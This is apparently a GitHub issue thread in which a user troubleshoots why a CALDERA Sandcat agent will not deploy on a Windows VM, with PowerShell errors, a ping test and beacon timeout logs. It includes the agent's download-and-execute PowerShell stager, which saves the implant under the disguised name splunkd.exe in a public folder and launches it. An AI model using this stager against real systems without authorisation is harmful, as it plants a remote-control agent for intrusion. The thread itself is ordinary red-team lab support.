Can`t start sandcat on windows

[DaLongggggg]

I want to deploy an agent on my windows(VMware) , I execute the payload in Powershell as admin , but there is an ERROR

Exception calling "DownloadData" with "1" argument(s): "The request was aborted: The operation has timed out."
At line:1 char:179
+ ... Headers.add("file","sandcat.go");$data=$wc.DownloadData($url);get-pro ...
+                                      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException

Exception calling "WriteAllBytes" with "2" argument(s): "Value cannot be null.
Parameter name: bytes"
At line:1 char:351
+ ...  -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe",$d ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentNullException

Start-Process : This command cannot be run due to the error: The system cannot find the file specified.
At line:1 char:424
+ ...  | Out-Null;Start-Process -FilePath C:\Users\Public\splunkd.exe -Argu ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Start-Process], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand

[github-actions]

Looks like your first issue -- we aim to respond to issues as quickly as possible. In the meantime, check out our documentation here: http://caldera.readthedocs.io/

[L015H4CK]

Hi, this looks like a network issue. Can you post your payload/script that starts the agent?

Some things you could check:

• Did you change the IP address in script that starts the agent?
• Can the windows machine ping your host/the ip caldera is running on?

If nothing helps try to execute the steps manually to see where exactly the error occurs.

[DaLongggggg]

• Did you change the IP address in script that starts the agent?
• Can the windows machine ping your host/the ip caldera is running on?

@L015H4CK i didn`t change anything , payload can work on my ubuntu(VM) , both local and VM windows have this error ,

[L015H4CK]

You have to change the ip address in the payload to the ip address of the caldera server. If you did not change anything, it probably still tries to connect to 0.0.0.0. This only works when the agent runs on the same machine as the server.

To properly help you I need more information about your general setup. Where does the CALDERA server run? OS? Did you try debugging the problem? Did you run the payload step by step manually? Etc.

EDIT: To explain the above errors... Somehow the DownloadData function cannot download the splunkd data. Thus the data variable is null and WriteAllBytes fails. Since no splunkd file has been created, Start-Process fails as well.

[DaLongggggg]

You have to change the ip address in the payload to the ip address of the caldera server. If you did not change anything, it probably still tries to connect to 0.0.0.0. This only works when the agent runs on the same machine as the server.

To properly help you I need more information about your general setup. Where does the CALDERA server run? OS? Did you try debugging the problem? Did you run the payload step by step manually? Etc.

QAQ sorry I change the ip with the nat address(192.168.241.128) of the VM ,CALDERA server run on my kali(VM), i will try to run it step by step

[DaLongggggg]

`Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> $server="http://192.168.241.128:8888";
PS C:\Windows\system32> $url="$server/file/download";
PS C:\Windows\system32> $wc=New-Object System.Net.WebClient;
PS C:\Windows\system32> $wc.Headers.add("platform","windows");
PS C:\Windows\system32> $wc.Headers.add("file","sandcat.go");
PS C:\Windows\system32> $data=$wc.DownloadData($url);
Exception calling "DownloadData" with "1" argument(s): "The operation has timed out"
At line:1 char:1

• $data=$wc.DownloadData($url);

•   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
  
  

PS C:\Windows\system32>

`

C:\Users\IEUser>ping 192.168.241.128

Pinging 192.168.241.128 with 32 bytes of data:
Reply from 192.168.241.128: bytes=32 time<1ms TTL=64
Reply from 192.168.241.128: bytes=32 time<1ms TTL=64
Reply from 192.168.241.128: bytes=32 time<1ms TTL=64
Reply from 192.168.241.128: bytes=32 time<1ms TTL=64

Ping statistics for 192.168.241.128:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

[DaLongggggg]

I tried to change my kali network mode to bridge mode because I wanted to use it to connect to the ubuntu server on my vps, but the following error occurred: kali opened the external network connection and also opened the port, but the error kept happening

./splunkd -server $server -group red -v
Starting sandcat in verbose mode.
[] No tunnel protocol specified. Skipping tunnel setup.
[] Attempting to set channel HTTP
Beacon API=/beacon
[*] Set communication channel to HTTP
initial delay=0
server=http://X.X.X.X:8888
upstream dest addr=http://X.X.X.X:8888
group=red
privilege=Elevated
allow local p2p receivers=false
beacon channel=HTTP
available data encoders=base64, plain-text
[-] Failed to perform HTTP request: Post "http://X.X.X.X:8888/beacon": dial tcp X.X.X.X:8888: i/o timeout
[-] beacon: DEAD
[-] Failed to perform HTTP request: Post "http://X.X.X.X:8888/beacon": dial tcp X.X.X.X:8888: i/o timeout
[-] beacon: DEAD
[!] Reached beacon failure threshold. Attempting to switch to new peer proxy method.

[github-actions]

This issue is stale because it has been open 20 days with no activity. Remove stale label or comment or this will be closed in 5 days